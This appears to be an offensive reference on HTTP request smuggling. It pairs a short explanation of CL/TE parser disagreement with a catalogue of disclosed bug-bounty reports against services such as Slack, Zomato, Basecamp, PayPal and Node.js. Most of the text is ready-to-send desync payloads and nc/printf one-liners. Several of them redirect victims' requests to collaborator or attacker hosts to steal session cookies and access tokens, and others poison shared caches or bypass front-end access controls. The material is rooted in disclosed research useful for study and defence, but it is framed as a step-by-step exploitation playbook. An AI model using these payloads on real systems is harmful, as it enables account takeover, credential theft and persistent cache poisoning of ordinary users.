HTTP request smuggling (a.k.a. desync) exploits a disagreement between two HTTP servers on a shared, keep-alive connection about where one request ends and the next begins. A front-end (CDN / load-balancer / reverse proxy) and a back-end origin size the same request differently — one trusts Content-Length (CL), the other trusts Transfer-Encoding: chunked (TE) — so your trailing bytes are left in the socket buffer and prepended to the next victim's request on the reused backend connection.
That primitive is a master key. Once you control the front of a stranger's request you can rewrite their request line to leak their session cookies / auth headers, redirect them off-site, poison a shared cache for every later visitor, or smuggle past front-end ACLs into internal origins. Smuggling lives at hop boundaries, never on a single server: you need two parsers that disagree, so always think in terms of front-end parses X, back-end parses Y.
# Timing probe — TE.CL. The front-end honours chunked and stops at the 0-chunk;
# the back-end trusts Content-Length: 6, receives only 5 bytes, and hangs on the
# read timeout waiting for the 6th. A stack with no CL/TE disagreement answers fast.
POST / HTTP/1.1
Host: TARGET
Transfer-Encoding: chunked
Content-Length: 6
0
X
Every desync is a parser disagreement. Identify which side reads CL vs TE (or which line-ending / pseudo-header they split on), then use the matching body.
GET / HTTP/1.1
Transfer-Encoding : chunked
Host: TARGET
Content-Length: 83
0
GET https://COLLAB/ HTTP/1.1
X: X
POST / HTTP/1.1
Transfer-Encoding : chunked
Host: TARGET
Content-Type: application/x-www-form-urlencoded
Content-length: 4
64
POST /sf HTTP/1.1
Host: COLLAB
Content-Length: 15
0
POST / HTTP/1.1
Host: TARGET
Content-Length: 4
Transfer-Encoding: chunked
Transfer-Encoding: identity
1
A
0
GET /admin HTTP/1.1
Foo: bar
The dominant Node/llhttp bug pattern. One parser requires strict CRLF; the other accepts a lone LF or lone CR as a delimiter. Embed the wrong line-ending inside a benign header value to manufacture a hidden Transfer-Encoding header visible to only one side.
# Bare LF (0x0A, no CR) embedded in a header value. Send \n below as ONE raw LF byte:
# the CRLF-strict front-end keeps it all as Fooz's value; the LF-lenient back-end
# splits at the LF and parses a real Transfer-Encoding header, so only it chunks.
POST /path HTTP/1.1
Host: TARGET
Content-Length: 77
Fooz: bar\nTransfer-Encoding: chunked
0
GET http://COLLAB/ HTTP/1.1
X: X
# Bare CR (0x0D, no LF) treated as a header terminator on lenient llhttp — send as the value:
X-Abc:\rxTransfer-Encoding: chunked
Downgrade hops are goldmines: a front-end that speaks HTTP/2 but re-serializes to HTTP/1.1 for the origin will faithfully copy control characters from the pseudo-headers into the HTTP/1.1 request line. Inject a space (or CR/LF) into :method, :path, or :authority to smuggle a whole extra request line.
:method: GET /anything HTTP/1.1
:path: /
:authority: TARGET
# re-serialized to the backend as:
# GET /anything HTTP/1.1 / HTTP/1.1
# Host: TARGET
# Cloudflare Transform-Rule value that injects a newline + TE header before the
# origin sees it. \x0d\x0a is sent literally in the rule string (a raw CRLF):
concat("-", "\x0d\x0aTransfer-Encoding: chunked")
Smuggling is not only request-side. If a client library's response parser is laxer than the fronting proxy — accepts a bare CR in the status line, non-CRLF-terminated headers — a malicious or compromised upstream can desync the response queue, serving one client another's response.
Each parser-split obfuscation, tagged with the report it was seen in. Try each byte between Transfer-Encoding and chunked, and each line-ending variant.
The techniques above are the general method. Below, each disclosed HackerOne report is a catalogued example — concrete payload, outcome, and matching practice lab. 33 in this class.
Real-world example
CL.TE socket poisoning -> forced open-redirect -> mass cookie theft
◆ Critical
Specimen #737140 · slack · awarded · 867 votes · resolved
Program slackSurface webChain CL.TE desync -> request-line rewrite -> backend 301 opTag account-takeover
Root cause
Frontend sizes the request by Content-Length while the backend honours an obfuscated Transfer-Encoding (space before the colon: 'Transfer-Encoding : chunked'), leaving leftover bytes to prepend to the next victim request on the shared backend socket.
Method
- Run smuggler/desync probes; 'space1' (space before TE colon) test flags a CL.TE
- Craft a smuggled request whose trailing line rewrites the victim's request to GET <collab-URL>
- Backend returns 301 to that URL and the victim's browser follows it, replaying its Slack cookies (the 'd' session cookie) to attacker collaborator
- Collect cookies at scale -> full account takeover
GET / HTTP/1.1
Transfer-Encoding : chunked
Host: slackb.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET <COLLAB_URL> HTTP/1.1
X: X
Insight — When a domain answers 'GET https://host/ HTTP/1.1' with a 301 to that host, a desync that rewrites the victim's request line into an absolute-URL GET turns request smuggling into universal credential exfiltration (cookies ride along on the redirect).
Real-world example
CL.TE tab-obfuscated TE -> bulk X-Access-Token theft
◆ Critical
Specimen #771666 · eternal · awarded · 559 votes · resolved
Program eternalSurface apiChain CL.TE desync -> smuggled absolute-URL GET -> backend 3Tag account-takeover
Root cause
A tab after the Transfer-Encoding colon ('Transfer-Encoding:\tchunked') is rejected by the Akamai frontend (falls back to Content-Length) but honoured as chunked by the backend, poisoning the backend socket.
Method
- Fuzz TE mutations; 'tabprefix1' (tab after colon) flags CL.TE
- Set CL to cover a smuggled absolute-URL GET line with no trailing CRLF so it merges onto the victim's request
- Backend 301-redirects the victim (with its X-Access-Token header) to the attacker collaborator
- Use stolen X-Access-Token + UserID to read PII or fully impersonate the mobile-app session
DELETE / HTTP/1.1
Transfer-Encoding: chunked
Host: api.zomato.com
Content-Length: 91
User-Agent: Treasure/6.7
0
GET https://<COLLAB_URL>/desync/ HTTP/1.1
X: X
Insight — Absolute-URL in the smuggled request line that the frontend would 404 gets 301'd by the backend; API auth headers (X-Access-Token) travel with the redirect. Tab is a strong TE-obfuscation byte against CDN frontends (Akamai).
Real-world example
CDN rule-engine header injection via concat() hex escapes -> TE.CL smuggling (Cloudflare)
◆ Critical
Specimen #1478633 · cloudflare · 6000 · 115 votes · resolved
Program cloudflareSurface webChain rule-engine CRLF injection -> TE header injection -> TTag cache
Root cause
Cloudflare Transform Rules' Edge string functions (concat/lower) accepted hexadecimal escapes like backslash-x0d backslash-x0a with no output sanitization, letting an attacker inject CRLF and a Transfer-Encoding header into the request Cloudflare forwards to the origin.
Method
- Create a dynamic header-rewrite Transform Rule with value concat('-', hexCRLF + 'Transfer-Encoding: chunked')
- Cloudflare emits the injected newline + TE header to the origin
- Send a POST body '0 CRLF CRLF GET / HTTP/1.1 CRLF Host: internal...' to smuggle to internal origins and bypass Cloudflare Access
concat("-", "\x0d\x0aTransfer-Encoding: chunked")
(body) 0
GET / HTTP/1.1
Host: internal.example.com
Insight — CDN/edge configuration features that build header values (concat, string funcs, host_header actions) are a header-injection surface: if they accept hex/unicode escapes or raw CRLF you can inject Transfer-Encoding and smuggle past edge auth (CF Access). Origins must validate the CF Access JWT, not trust the edge.
Real-world example
TE list value 'chunked, eee' still parsed as chunked (Node CVE-2019-15605)
◆ Critical
Specimen #735748 · nodejs · awarded · 104 votes · resolved
Program nodejsSurface otherTag cache
Root cause
Node's http_parser accepted a Transfer-Encoding value containing 'chunked' plus extra tokens (e.g. 'chunked, eee') and processed the body as chunked, while a stricter proxy would reject/ignore it -> TE/CL desync.
Method
- Send POST with both Content-Length and 'Transfer-Encoding: chunked, eee'
- Node treats it as chunked and reads the smuggled second request as a new request
- Server writes two responses on the wire -> desync behind any LB that disagrees
POST / HTTP/1.1
Host: hacker.exploit.com
Content-Length: 10
Transfer-Encoding: chunked, eee
HELLOWORLDPOST / HTTP/1.1
Content-Length: 30
I AM A SMUGGLED REQUEST!!!
Insight — Don't just test 'Transfer-Encoding: chunked' -- append junk tokens/commas ('chunked, eee', 'chunked, identity'). Lenient parsers substring-match 'chunked' and desync against strict upstreams. Patch added F_TRANSFERENCODING/F_CONTENTLENGTH state tracking.
Real-world example
TE.TE (chunked/identity) -> persistent cache poisoning via X-Forwarded-Host
◆ Critical
Specimen #919175 · basecamp · awarded · 28 votes · resolved
Program basecampSurface webChain TE.TE desync -> X-Forwarded-Host redirect cached -> peTag cache
Root cause
Basecamp TE.TE desync using 'Transfer-Encoding: chunked' + 'Transfer-encoding: identity'; the caching front-end stores the smuggled off-site redirect, making the poisoning persistent for every later visitor.
Method
- Smuggle a request whose X-Forwarded-Host is attacker-controlled and whose response is a redirect
- Front-end caches that redirect against the target URL
- All subsequent users requesting the URL receive the poisoned redirect (persistent)
POST /4618984/account HTTP/1.1
Host: basecamp.com
Content-Length: 144
Transfer-Encoding: chunked
Transfer-encoding: identity
22
_method=patch&account%5Bname%5D=BC
0
GET /x HTTP/1.1
X-Forwarded-Host: attacker.pipedream.net
X-Forwarded-Proto: http
Foo: bar
Insight — If a caching layer sits in front of the desync, cache the smuggled redirect to turn a per-connection race into a persistent mass-exploitation primitive. 'chunked' vs 'identity' is another TE.TE split worth testing.
Real-world example
TE.TE (valid + invalid TE) -> victim cookie/header capture + redirect (Basecamp)
◆ Critical
Specimen #867577 · basecamp · awarded · 25 votes · resolved
Program basecampSurface webChain TE.TE desync -> (a) X-Forwarded-Host redirect, (b) capturTag account-takeoverTag cache
Root cause
A Content-Length request carrying a valid Transfer-Encoding then an invalid one ('Transfer-Encoding: foo'): the frontend inspects only the second (invalid) TE and uses CL, while the backend honours the valid TE -> desync on a Rails app.
Method
- Smuggle a request that redirects victims via X-Forwarded-Host (off-site redirect)
- Alternatively smuggle a storage POST (/identity) that saves the victim's incoming request and reflects it back to the attacker
- Read captured session cookies (_launchpad_session, identity_id) from the stored request
POST /identity HTTP/1.1
Host: launchpad.37signals.com
Content-Length: 69
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
Transfer-Encoding: foo
3
x=1
0
GET / HTTP/1.1
X-Forwarded-Host: attacker.com
Foo: bar
Insight — Two escalations from one desync: (1) X-Forwarded-Host in the smuggled request redirects victims off-site; (2) smuggle a 'storage' write that captures and reflects the NEXT victim's full request, exfiltrating their cookies/auth headers. First-vs-second TE selection is the parser split.
Real-world example
Catalogue of HTTP smuggling parser primitives across many servers (regilero)
◆ Critical
Specimen #648434 · ibb · none · 20 votes · resolved
Program ibbSurface otherChain parser differential -> response duplication -> cache pTag cache
Root cause
Multi-year research: smuggling arises from interactions between different HTTP parsers (Apache, Nginx, Varnish, Jetty, Tomcat, Node, Pound, HAProxy, ATS, Proxygen), exploiting size-attribute overflows, doubled headers, bad end-of-lines and whitespace defects.
Method
- Enumerate front/back parser pairs in the chain
- Probe each with the primitive families below and diff interpretations
- Confirm with a two-request A -> A+A' response duplication
# Primitive families to test:
# - space/tab before the ':' colon (CVE-2016-8743, CVE-2018-8004)
# - double Content-Length / CL+TE mixing (CVE-2017-7658)
# - Transfer-Encoding smuggling (CVE-2017-7657)
# - HTTP/0.9 downgrade (CVE-2017-7656, CVE-2016-6816)
# - bare CR / 'CR followed by anything' (CVE-2016-2086)
# - chunk-size integer truncation/overflow (Nginx 2015)
# - NULL char in header concatenation (Pound CVE-2016-10711)
Insight — A reusable checklist of parser-differential primitives with the CVEs that proved each. Tooling: HTTPWookiee (github.com/regilero/HTTPWookiee), Defcon 24 'Hiding Wookiees in HTTP'. When two agents disagree on message length or line endings, request A becomes A+A' to the backend.
Real-world example
CL.TE confirmed via auth-response differential
◆ High
Specimen #867952 · helium · awarded · 299 votes · resolved
Program heliumSurface webTag account-takeover
Root cause
Frontend uses Content-Length, backend uses Transfer-Encoding: chunked; a POST to /api/sessions with both headers desyncs and the smuggled trailing GET changes the observed response.
Method
- Send POST /api/sessions with Content-Length and Transfer-Encoding: chunked and a chunked body terminated by 00
- Append a smuggled 'GET / HTTP/1.1 / Host: www.helium.com'
- Observe /api/sessions return 200 OK instead of the expected 401 -> confirms desync
POST /api/sessions HTTP/1.1
Host: console.helium.com
Content-Type: application/json
Content-Length: 109
Transfer-Encoding: chunked
39
{"session":{"email":"a@b.c","password":"x"}}
00
GET / HTTP/1.1
Host: www.helium.com
foo: x
Insight — A cheap, low-risk desync confirmation: pick an endpoint with a deterministic status code (401 login) and watch it flip when your smuggled request consumes/alters the follow-up. Proves the bug without poisoning real users.
Real-world example
Desync -> cached redirect -> persistent XSS on login page (PayPal)
◆ High
Specimen #488147 · paypal · 18900 · 683 votes · resolved
Program paypalSurface webChain desync -> cached redirect -> stored XSS on sign-in pagTag cache
Root cause
A front-end caching layer plus a request-smuggling desync let an attacker convert a normal page request into a cached redirect; the poisoned cache entry then serves attacker content in place of the real page (including /signin).
Method
- Find a desync on the cached front-end
- Smuggle a request that produces a redirect/attacker response
- Get that response cached against a legitimate URL
- Subsequent users of that URL receive attacker content (stored-XSS-like)
Insight — Request smuggling + a caching front-end = persistence: a single desync-poisoned cache entry affects every later visitor to that URL, upgrading a transient socket-poisoning bug into a stored XSS on high-value pages like /signin.
Real-world example
TE.CL desync -> smuggled Host reflected in cached page resources
◆ High
Specimen #726773 · gsa_bbp · 750 · 160 votes · resolved
Program gsa_bbpSurface webChain TE.CL desync -> Host reflected in page resource URLs ->Tag cache
Root cause
Frontend uses Transfer-Encoding (with obfuscation), backend uses Content-Length; the smuggled request's Host is reflected across the WordPress page's script/link src attributes, injecting an attacker-controlled host into victim responses.
Method
- Use turbo intruder to send one desync request then ~14 rapid follow-ups to catch a victim
- Smuggle a POST whose Host is the attacker domain
- Victim receives a page whose <script>/<link> src point at attacker host -> serve malicious JS/deface
POST / HTTP/1.1
Host: labs.data.gov
Content-type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding : chunked
a2
POST /hopefully404 HTTP/1.1
Host: <COLLAB>
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
Insight — When an app echoes the request Host into absolute resource URLs (common in WordPress/Yoast), a desync that controls Host becomes stored/reflected XSS and JS-supply-chain hijack for whoever's request is poisoned.
Real-world example
Bare CR in header name converted to hyphen (Node CVE-2020-8201)
◆ High
Specimen #922597 · nodejs · awarded · 134 votes · resolved
Program nodejsSurface otherTag cache
Root cause
Node converts a CR inside a header name to a hyphen before parsing, so 'Content[CR]Length' becomes a valid 'Content-Length' to Node while an upstream proxy ignores the malformed header (0-length body) -> parser differential.
Method
- Send a request where the proxy sees 'Content[CR]Length' as invalid (assumes no body)
- Node rewrites CR->hyphen and honours the Content-Length, consuming N bytes as body
- The bytes the proxy forwarded as a new request are swallowed, desyncing the stream
GET / HTTP/1.1
Host: www.example.com
Content[CR]Length: 42
Connection: Keep-Alive
GET /proxy_sees_this HTTP/1.1
Something: GET /node_sees_this HTTP/1.1
Host: www.example.com
Insight — Non-standard byte normalization (CR->hyphen, tab handling) inside a header NAME is a rich smuggling source: test control/whitespace bytes embedded in Content-Length / Transfer-Encoding header names, not just their values.
Real-world example
Oversized trailer header -> IOException splits request (Tomcat CVE-2023-46589)
◆ High
Specimen #2280391 · ibb · 4660 · 93 votes · resolved
Program ibbSurface otherTag cache
Root cause
Tomcat mis-handled chunked trailer headers: a trailer exceeding the size limit threw an IOException that caused Tomcat to treat one request as two, enabling smuggling behind a reverse proxy.
Method
- Send a chunked POST with a trailer header whose name/value exceeds the ~8KB header size limit
- Follow the oversized trailer with a smuggled request line
- Tomcat logs two requests for one connection (POST + smuggled GET)
POST /examples/test.jsp HTTP/1.1
Host: www.example.co.jp
Transfer-Encoding: chunked
5
foo=b
2
ar
0
testtrailer: aaaa...(>8190 bytes)
a: GET /examples/?this_is_attack HTTP/1.1
Host: attack
Insight — Chunked TRAILER sections are an under-tested smuggling surface. Probe trailers with oversized values and malformed lines; servers that error mid-trailer often leave the connection desynced. Reproducer: github.com/oss-aimoto/tomcat-trailer.
Real-world example
Client-side desync: incomplete POST leaks prior request (Tomcat CVE-2024-21733)
◆ High
Specimen #2327341 · ibb · 4660 · 57 votes · resolved
Program ibbSurface otherChain client-side desync -> victim browser -> cross-user reqTag account-takeover
Root cause
Tomcat mis-processed the Content-Length of POST requests; an incomplete POST (fewer body bytes than declared) triggered an error response that echoed data left over from a previous user's request on the connection.
Method
- Send a POST declaring Content-Length larger than the body actually sent (e.g. CL:6, body 'X')
- Tomcat waits, times out/errors, and returns an error page containing bytes from a previous request
- Deliver via a victim browser (CSD) to smuggle/leak cross-connection data such as cleartext creds
POST / HTTP/1.1
Host: hostname
Content-Length: 6
Content-Type: application/x-www-form-urlencoded
X
Insight — Client-side desync (CSD) needs only a browser-issuable request: an under-filled Content-Length POST that the origin later flushes with leftover bytes. Look for error responses that contain data you never sent -> a neighbouring request leaking.
Real-world example
Trailer line without colon skips lines (Tomcat CVE-2023-45648)
◆ High
Specimen #2299692 · ibb · 4660 · 51 votes · resolved
Program ibbSurface otherTag cache
Root cause
Tomcat could not parse a trailer section when a trailer line had no colon; it skipped subsequent lines until the next valid colon-separated header, so lines other implementations (NGINX) treat as a second request become part of the trailer -> parser disagreement.
Method
- Send chunked POST ending with 0 CRLF then a colon-less trailer line ('Content: hello' then 'a')
- Follow with a second full request using Content-Length
- Tomcat merges the middle lines into the trailer and treats the CL body as a new request; access log shows benign_path + evil_path
POST /benign_path HTTP/1.1
Host: a.com
Transfer-Encoding: chunked
5
12345
0
Content: hello
a
POST /benign_path HTTP/1.1
Host: a.com
Content-Length: 37
GET /evil_path HTTP/1.1
Any: any
Host: b.com
Insight — Where a front proxy and Tomcat disagree on where the trailer section ends, you get smuggling. Test colon-less and malformed trailer lines to shift the request boundary between proxy and origin.
Real-world example
Bare-LF header injection desync (LF vs CRLF)
◆ High
Specimen #526880 · deptofdefense · none · 25 votes · resolved
Program deptofdefenseSurface webChain bare-LF header injection -> TE desync -> victim redireTag cache
Root cause
One server treats a bare LF as a header terminator while the other requires CRLF; embedding an LF plus 'Transfer-Encoding: chunked' inside another header value creates a hidden TE header on only one side -> desync and backend socket poisoning.
Method
- Put a bare LF inside a benign header value to smuggle a TE header ('Fooz: bar'+LF+'Transfer-Encoding: chunked')
- Frontend sees one folded header, backend sees a real Transfer-Encoding
- Fire the desync then a burst of victim GETs; one victim is 302-redirected to attacker
POST /path HTTP/1.1
Fooz: bar
Transfer-Encoding: chunked
Host: stage.target
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
Foo: bar
0
GET http://attacker/ HTTP/1.1
X: X
Insight — Bare LF (0x0A) without CR is a powerful line-ending disagreement primitive: use it to hide a Transfer-Encoding/Content-Length header inside another header so only the backend parses it. Note: different IPs behind one hostname may not all be vulnerable.
Real-world example
CL.TE smuggling via space-before-colon Transfer-Encoding and obfuscated CL
◆ High
Specimen #777651 · stripo · none · 15 votes · resolved
Program stripoSurface webChain socket desync -> cache poisoning / front-end control bypaTag cache
Root cause
Front-end and back-end disagree on request length because one honors an obfuscated 'Transfer-Encoding : chunked' (space before colon) / mangled Content-Length header while the other does not, letting an attacker prepend data to the next victim request.
Method
- Use Burp HTTP Request Smuggler / Turbo Intruder against the target
- Send a request with an obfuscated Transfer-Encoding header (space before the colon) plus a malformed Content-Length
- Confirm desync via timing/differential response (here a 301 to attacker Location)
- Prepend arbitrary data to the following request on the poisoned socket
POST /?aeRg=2056729135 HTTP/1.1
Host: my.TARGET
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding : chunked
Content-Len%s keep-alive
f
ubvhq=x&e3t5b=x
0
Insight — When standard CL.TE/TE.CL fails, try header obfuscation: space before colon (TE :), tab, doubled TE headers, or line-folding. If one hop's parser is lenient and the other strict, you get a desync. Confirm blind by poisoning your own follow-up request.
Real-world example
Pause-based desync in Apache HTTPD (CVE-2022-22720)
◆ High
Specimen #1667974 · ibb · 4000 · 73 votes · resolved
Program ibbSurface otherChain pause-based desync -> server-side smuggling / MITM JS injTag mitm
Root cause
Apache <=2.4.52 failed to close the inbound connection when it hit an error while discarding a request body, leaving the connection reusable in a desynced state ('pause-based desync').
Method
- Trigger an Apache error path that discards the request body (e.g. stall/pause mid-body)
- Apache errors but does NOT close the connection
- The connection is left poisoned for the next request -> server-side smuggling (and MITM JS injection despite TLS)
Insight — Beyond CL/TE tricks, connection-lifecycle bugs create desync: any code path that errors on the body but keeps the socket open is exploitable. 'Pause-based' (browser-powered) desync can even let a network MITM inject JS despite TLS. Detail: PortSwigger browser-powered desync research + lab.
Real-world example
Space-prefixed TE against S3 origin leaks AWS key + HMAC canonical request
◆ Medium
Specimen #753939 · magic-bbp · awarded · 74 votes · resolved
Program magic-bbpSurface webChain space-TE desync -> S3 signature error -> AWS key/HMAC Tag cloud-aws
Root cause
A leading-space Transfer-Encoding (' Transfer-Encoding: chunked') desyncs the CloudFront/S3 fronting, and the S3 backend returns a SignatureDoesNotMatch error that echoes the AWSAccessKeyId, StringToSign and CanonicalRequest bytes; repeating it caches the error page (DoS).
Method
- Send a request with a leading space before the Transfer-Encoding header
- Observe the S3 XML error leaking AWSAccessKeyId and the full canonical/HMAC signing material
- Use turbo intruder to make the error page get served to normal visitors (cache/desync DoS)
GET /login HTTP/1.1
Host: dashboard.fortmatic.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 5
Transfer-Encoding: chunked
0
Insight — When a desync target is fronted by S3/CloudFront, malformed requests surface S3 SignatureDoesNotMatch errors that dump the AWS access key id and canonical signing bytes into the response body -> recon + info disclosure on top of the desync/DoS.
Real-world example
Response parser accepts bare CR in status line -> response-queue poisoning (Node llhttp)
◆ Medium
Specimen #3648681 · nodejs · none · 26 votes · resolved
Program nodejsSurface otherChain response bare-CR acceptance -> HTTP response queue poisonTag cache
Root cause
Node/llhttp's RESPONSE parser accepts a bare CR (CR CR) as a valid status-line terminator (skipping the required LF) while the REQUEST parser rejects it, creating a request/response parsing asymmetry that enables response smuggling/queue poisoning.
Method
- Stand up a malicious/backend server that emits 'HTTP/1.1 200 OK'+CR+CR+'Content-Length: 4'+CRLF+CRLF+'Evil'
- A strict RFC proxy in front rejects the bare CR; the Node http client silently accepts it
- The differential lets a rogue backend desync the response queue for downstream clients
HTTP/1.1 200 OK
Content-Length: 4
Evil
Insight — Smuggling is not only request-side: look for RESPONSE parser leniency (bare CR/LF, non-CRLF status-line/header termination). A client library laxer than the fronting proxy enables response-queue poisoning from a malicious/compromised upstream.
Real-world example
HTTP/2 request-line injection via spaces in :method pseudo-header
◆ Medium
Specimen #1391549 · ibb · 1200 · 22 votes · resolved
Program ibbSurface webChain Smuggling -> front-end rule bypass / subfolder escape / cTag cors
Root cause
Apache mod_proxy with HTTP/2 fails to reject spaces in the :method pseudo-header; on downgrade to HTTP/1.1 the method is concatenated verbatim into the request line, injecting a full extra request line to the backend (CVE-2021-33193).
Method
- Send an HTTP/2 request whose :method contains 'GET /anything HTTP/1.1'
- mod_proxy downgrades and forwards a malformed HTTP/1.1 request line
- If the backend tolerates trailing junk, escape path routing, bypass front-end rules, poison caches, or downgrade to HTTP/0.9/1.0
:method: GET /anything HTTP/1.1
:path: /
:authority: TARGET
# forwarded to backend:
GET /anything HTTP/1.1 / HTTP/1.1
Host:: TARGET
Insight — HTTP/2->HTTP/1.1 downgrade points are smuggling goldmines: inject CR/LF/space/control chars into :method, :path, :authority and header names/values and observe the rewritten HTTP/1.1 request. Front-end rules keyed on the original path are bypassed once you inject a second request line.
Real-world example
Space before the header colon 'Content-Length :' (Node CVE-2021-22959)
◆ Medium
Specimen #1238709 · nodejs · 250 · 18 votes · resolved
Program nodejsSurface otherTag cache
Root cause
Node's llhttp accepted a space between the header name and the colon ('Content-Length : 5'), which RFC 7230 forbids; a proxy that ignores that malformed CL but forwards it as-is disagrees with Node -> smuggling.
Method
- Send 'Content-Length : 23' (space before colon) with a smuggled second request in the body
- Node reads the CL and consumes the body; a lenient proxy that ignored the CL sees a different boundary
- Boundary disagreement smuggles the third request
GET / HTTP/1.1
Host: localhost:5000
Content-Length : 23
GET / HTTP/1.1
Dummy: GET /smuggled HTTP/1.1
Host: localhost:5000
Insight — RFC 7230 3.2.4 forbids whitespace before the colon precisely because parsers disagree. Always test 'Header :value' (space before colon) on Content-Length and Transfer-Encoding. One-liner: echo -en 'Content-Length : 5\r\n...' | nc.
Real-world example
Leading space before header name ' Content-length:' (Node CVE-2024-27982)
◆ Medium
Specimen #2237099 · nodejs · none · 18 votes · resolved
Program nodejsSurface otherTag cache
Root cause
Node mis-parsed a header whose NAME is preceded by a space (' Content-length: 43'), treating the following bytes as body and allowing a second request to be smuggled inside the first.
Method
- Send a request with a leading space before the Content-length header line
- Node mis-reads the CL and swallows the smuggled request as body
- Use turbo intruder with a reflected id header (x-name) to prove /hello responses returning /bye content across connections
POST /hello HTTP/1.1
Host: 127.0.0.1
Upgrade-Insecure-Requests: 1
Content-length: 43
Te: trailers
GET /bye HTTP/1.1
x-name: Bob
X-YzBqv:
Insight — Distinct from space-before-colon: here the whole header line is indented by a leading space (looks like an obfs-fold continuation). Test both ' Content-Length:' (leading space) and 'Content-Length :' (space before colon).
Real-world example
Bare CR (not CRLF) delimits header fields in Node llhttp
◆ Medium
Specimen #2032842 · ibb · 1800 · 15 votes · resolved
Program ibbSurface otherChain bare-CR header split -> hidden Transfer-Encoding -> acTag cache
Root cause
Node's llhttp did not strictly require CRLF between header fields: a lone CR is enough to terminate a header, so 'X-Abc:'+CR+'xTransfer-Encoding: chunked' is parsed by Node as a separate Transfer-Encoding header while a strict proxy keeps it inside X-Abc's value.
Method
- Send a header value containing a bare CR followed by a smuggled header ('X-Abc:'+CR+'xTransfer-Encoding: chunked')
- Node splits on the CR and registers Transfer-Encoding: chunked
- A front proxy that requires CRLF sees only X-Abc -> parser differential smuggling
POST / HTTP/1.1
Host: localhost:5000
X-Abc:
xTransfer-Encoding: chunked
1
A
0
Insight — Bare CR (0x0D) inside a header value can create a hidden header on lenient parsers. Cluster of Node CVEs: CVE-2023-30589 (this), CVE-2022-35256 (#1888760, non-CRLF terminated fields), CVE-2022-32214 (#1630669, improper delimiting), CVE-2025-23167 (#2054283, CRLF+bareCR block termination) all exploit the same CRLF-strictness gap.
Real-world example
Bare-LF header delimiter (Node llhttp CL smuggling)
◆ Medium
Specimen #1524692 · nodejs · none · 9 votes · resolved
Program nodejsSurface web
Root cause
llhttp accepts a lone LF (without CR) to delimit HTTP header fields, violating RFC7230 which requires CRLF. A CRLF-strict upstream proxy treats the LF-embedded text as part of one header value while Node treats it as a new header line.
Method
- Put a value ending in a bare \n inside a benign header, then a smuggled Content-Length header, e.g. 'Dummy: x\nContent-Length: 23'.
- Front proxy that forbids bare-LF-in-value / delimits only on CRLF sees Content-Length as part of Dummy value and computes body length 0.
- Node parses the LF as a line break and honors the smuggled Content-Length, desynchronizing request boundaries and smuggling a second request (e.g. GET /admin).
(printf 'GET / HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'Dummy: x\nContent-Length: 23\r\n'\
'\r\n'\
'GET / HTTP/1.1\r\n'\
'Dummy: GET /admin HTTP/1.1\r\n'\
'Host: localhost\r\n'\
'\r\n'\
'\r\n') | nc localhost 80
Insight — When testing back-end HTTP parsers, don't only try CRLF tricks: bare LF (\n) as a line terminator is a classic desync primitive. Any parser that terminates headers on LF alone while the proxy requires CRLF is smuggling-vulnerable.
Real-world example
Chunk-extension LF injection smuggling (Node + Apache Traffic Server)
◆ Medium
Specimen #1238099 · nodejs · 250 · 7 votes · resolved
Program nodejsSurface webChain chunk-extension desync -> proxy access-control bypass (re
Root cause
llhttp does not validate chunk-extension bytes; it skips everything after the chunk size until \r, allowing an unescaped LF inside the chunk-extension. ATS also mis-parses chunk extensions (finds first \n without requiring a preceding \r), so the two disagree on chunk boundaries and a full request can be smuggled.
Method
- Send a chunked request whose first chunk-size line carries a chunk extension containing a bare LF, e.g. '2 \nxx'.
- ATS (front) parses the chunk differently than Node (back), so ATS sees one request while Node sees two.
- Body of the outer chunked request contains a fully-formed second request (GET /admin ...) that Node parses and routes, bypassing ATS access controls (which reroute /admin to /forbidden).
GET / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\n\r\n2 \nxx\r\n4c\r\n0\r\n\r\nGET /admin HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n
Insight — Chunk extensions (the '; a=b' after a chunk size) are an under-tested desync surface. If either hop treats the extension region leniently (skips to \r, or stops at first \n), inject LF there to split the stream. Bypass triggers when a proxy enforces access control (path allowlists) that the back-end doesn't.
Real-world example
Multi-line (obs-fold) Transfer-Encoding parsed as chunked
◆ Medium
Specimen #1501679 · nodejs · none · 7 votes · resolved
Program nodejsSurface web
Root cause
llhttp interprets the Transfer-Encoding field value before normalizing obs-fold continuation lines. A folded header 'Transfer-Encoding: chunked\r\n , identity' is read as chunked by Node, but an RFC-correct upstream that folds first sees the final token 'identity' (body length 0). The two disagree on where the request ends.
Method
- Send Transfer-Encoding split across a folded continuation line so the first token is chunked and a later token (identity) follows: 'Transfer-Encoding: chunked' then obs-fold ' , identity'.
- RFC-compliant front proxy collapses the fold and treats final encoding as identity (Content-Length 0 semantics).
- Node reads it as chunked, consumes the chunked body, and any trailing bytes become a smuggled second request.
printf 'GET / HTTP/1.1\r\n'\
'Transfer-Encoding: chunked\r\n'\
' , identity\r\n'\
'\r\n'\
'1\r\n'\
'a\r\n'\
'0\r\n'\
'\r\n' | nc localhost 80
Insight — obs-fold (leading-space header continuation) is a potent TE-desync vector: test whether the target evaluates Transfer-Encoding before or after unfolding continuation lines. A parser that reads the value pre-normalization can be given a header whose 'real' folded value differs from what the proxy computes.
Real-world example
Invalid 'chunkedchunked' Transfer-Encoding parsed as chunked
◆ Medium
Specimen #1524555 · nodejs · none · 7 votes · resolved
Program nodejsSurface web
Root cause
After matching the literal 'chunked', llhttp tries to match CRLF; on failure it loops back and matches 'chunked' again, so the syntactically invalid value 'chunkedchunked' is accepted and treated as chunked. A stricter upstream rejects or ignores the invalid TE, causing desync.
Method
- Send Transfer-Encoding: chunkedchunked (no separator) with a chunked body.
- Node parses it as valid chunked transfer.
- An upstream that considers 'chunkedchunked' invalid falls back to Content-Length / different length semantics, disagreeing with Node on request boundaries.
GET / HTTP/1.1\r\nHost: localhost\r\nTransfer-Encoding: chunkedchunked\r\n\r\n1\r\na\r\n0\r\n\r\n
